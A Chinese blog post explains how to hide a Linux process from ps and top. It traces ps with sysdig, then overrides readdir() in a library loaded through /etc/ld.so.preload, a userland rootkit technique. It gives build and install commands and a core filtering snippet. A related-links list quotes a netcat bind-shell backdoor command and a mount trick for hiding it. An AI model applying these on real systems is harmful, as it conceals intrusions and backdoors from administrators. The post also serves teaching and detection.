一. 说明
windows下驱动可通过 Hook ZwQuerySystemInformation() 达到隐藏进程的目的,那么linux上如何实现该功能呢。
二. 原理
Linux下有大量的进程监控命令,ps,top,htop,lsof 都可以显示资源占用情况。
sudo sysdig proc.name=ps 1489 14:39:30.258670474 1 ps (25339) > openat dirfd=-100(ENETDOWN) name=/proc flags=7233(O_LARGEFILE|O_DIRECTORY|O_NONBLOCK|O_RDONLY|O_CLOEXEC) mode=0 1495 14:39:30.258687385 1 ps (25339) > getdents fd=5(<d>/proc) 1496 14:39:30.258777031 1 ps (25339) < getdents res=2660 3709 14:39:30.264220995 1 ps (25339) > open 3710 14:39:30.264223824 1 ps (25339) < open fd=6(<f>/proc/25329/stat) name=/proc/25329/stat flags=1(O_RDONLY) mode=0 3711 14:39:30.264224584 1 ps (25339) > read fd=6(<f>/proc/25329/stat) size=1024 3712 14:39:30.264230817 1 ps (25339) < read res=272 data=25329 (evil) R 25183 25329 25183 34818 25329 4218880 152 0 0 0 9701 0 0 0 20 0 1 3713 14:39:30.264231540 1 ps (25339) > close fd=6(<f>/proc/25329/stat) 3714 14:39:30.264231906 1 ps (25339) < close res=0 3715 14:39:30.264239242 1 ps (25339) > open 3716 14:39:30.264241697 1 ps (25339) < open fd=6(<f>/proc/25329/status) name=/proc/25329/status flags=1(O_RDONLY) mode=0 3717 14:39:30.264242604 1 ps (25339) > read fd=6(<f>/proc/25329/status) size=1024 3718 14:39:30.264257260 1 ps (25339) < read res=820 data=Name:.evil.State:.R (running).Tgid:.25329.Ngid:.0.Pid:.25329.PPid:.25183.TracerP 3719 14:39:30.264257904 1 ps (25339) > close fd=6(<f>/proc/25329/status) 3720 14:39:30.264258210 1 ps (25339) < close res=0 3721 14:39:30.264263180 1 ps (25339) > open 3722 14:39:30.264265864 1 ps (25339) < open fd=6(<f>/proc/25329/cmdline) name=/proc/25329/cmdline flags=1(O_RDONLY) mode=0
通过sysdig监控ps命令,发现ps命令通过通过调用openat()打开/proc目录,getdents()获取文件,然后遍历所有/proc/pid/stat,status,cmdline 文件来获取进程信息。
三. 实现
通过对上面ps的分析,发现只需避免工具访问/proc/PID/目录即可。
a. 修改top, ps 工具源码
b. 修改glibc 源码, readdir()
c. 修改内核调用, getdents()
d. /etc/ld.so.preload
abc三种方式比较繁琐。可简单通过配置ld.so.preload文件,使动态链接器优先加载自定义库,可在不修改glibc源码情况下,改变程序行为。
自定义只需要覆盖readdir()实现,过滤指定进程目录即可。
gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl sudo mv libprocesshider.so /usr/local/lib/ sudo echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
核心代码:
/** * 遍历到/proc/evil目录时,略过不处理 */ if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && strcmp(dir_name, "/proc") == 0 && get_process_name(dir->d_name, process_name) && strcmp(process_name, process_to_filter) == 0) { continue; }
运行效果:
ubuntu@caiji-test-chenxuerong:~/sunl$ ./evil ubuntu@caiji-test-chenxuerong:~/sunl$ ps -ef|grep evil ubuntu 25740 25183 0 17:40 pts/2 00:00:00 grep --color=auto evil
参考资料:
https://sysdig.com/blog/hiding-linux-processes-for-fun-and-profit/
http://fluxius.handgrep.se/2011/10/31/the-magic-of-ld_preload-for-userland-rootkits/
相关推荐
linux内核隐藏进程动态取证,实验效果很好
Linux内核进程隐藏技术在动态取证中的应用.pdf
linux隐藏进程的几种实现方法.zip
分析了LKM后门实现隐藏进程的机理。针对后门设计存在的缺陷,结合/proe文件系统特点,提出了一种接顺序遍历所有PID目录而找出全部进程的方法。再将结果与普通的进程查找输出作对比,可以发现隐藏的进程。最后给出...
驱动级别的进程隐藏源代码,对于Rootkit比较有用,大家仅供参考
基于Linux2.6的进程隐藏机制的实现.pdf
Linux中实现进程隐藏的一种新方法.pdf
阐述了Linux2.6内核工作原理。研究了进程在内核的运行...分析了基于Linux2.6内核下的进程隐藏机制,提出一种进程隐藏方法。即通过截获proc虚拟文件系统的读取访问,来达到进程隐藏的目的。最后编程验证了改方法的有效性。
总有朋友问隐藏Linux进程的方法,我说你想隐藏到什么程度,是大隐于内核,还是小隐于用户。 网上通篇论述的无外乎hook掉procfs或者类似的用户态方案,也都难免长篇大论,我说,这些场面都太大了,太复杂了。对于希望...
主要介绍了linux 下隐藏进程的一种方法,主要实现思路就是利用 LD_PRELOAD 来实现系统函数的劫持,具体实现代码,需要的朋友可以参考下
隐藏技术在计算机系统安全中应用十分广泛,尤其是在网络攻击中,当攻击者成功侵入一个系统 后,有效隐藏攻击者的文件、进程及其加载的模块变得尤为重要。本文对Linux环境下的一些高级隐藏技术进行了分析研究,其中所...
# > Author: 后台运行-进程唯一 # > How to use: tar -zcvm SOFT_NAME >> this.sh # > Created Time: 2018年04月15日 星期日 02时00分31秒 #********************************************************************...
Linux进程隐藏与检测1. 运行后门 nohup nc -l -p 13733 -e /bin/sh& 2. ps aux |grep ‘/bin/sh’ 查找进程PID mkdir /tmp/empty mount –bind /tmp/empty /proc/进程PID 3. cat /proc/$$/mountinfo 查看...
Linux系统捕获键盘事件,抓取键盘事件,无论焦点是否在此界面或进程上。类似,windows下hook的作用,可以捕获事件。可以区分按下,抬起按键,长按等。再加上定时器,可以判断组合键,不是简单的shift+A, 可以实现A+B...
在这种情况下,模拟程序会将进程隐藏在可见的地方。 mimic可以启动任何程序,并使它看起来像任何其他程序。 任何用户都可以使用它。 它不需要特殊权限。 它不需要特殊的二进制文件。 它不需要根工具包。 什么?! ...
吉德阿格允许Go程序在Linux下从ps(进程列表)隐藏敏感参数这项工作基于以下文章:
当我们确认系统中存在病毒,但是通过“任务管理器”查看系统中的进程时又找不出异样的进程,这说明病毒采用了一些隐藏措施,总结出来有三法:以假乱真、偷梁换柱、借尸还魂。本文将对这些系统进程进行逐一讲解,相信...
本篇文章提供一个软件实现守护进程的办法,原理就是udp通信,单独写个守护进程程序,专门负责检测主程序是否存在,不存在则启动。主程序只需要启动live类监听端口,收到hello就回复ok就行。 为了使得兼容任意程序,...